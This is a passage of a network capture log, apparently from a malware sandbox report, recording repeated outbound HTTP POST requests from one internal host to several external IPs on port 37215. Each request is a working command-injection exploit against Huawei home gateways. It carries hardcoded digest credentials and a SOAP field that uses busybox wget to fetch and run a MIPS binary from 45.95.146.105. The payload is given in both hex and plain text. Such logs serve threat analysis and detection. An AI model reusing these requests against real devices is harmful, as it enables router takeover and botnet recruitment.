Jan 1, 2024 12:54:36.156547070 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:00.476680040 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.13	52502	94.121.131.78	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:16.206590891 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.13	34538	94.122.192.44	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:19.806591034 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.13	39366	156.253.32.91	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:22.408029079 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:23.936510086 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:25.724606037 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:29.500543118 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:36.668518066 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
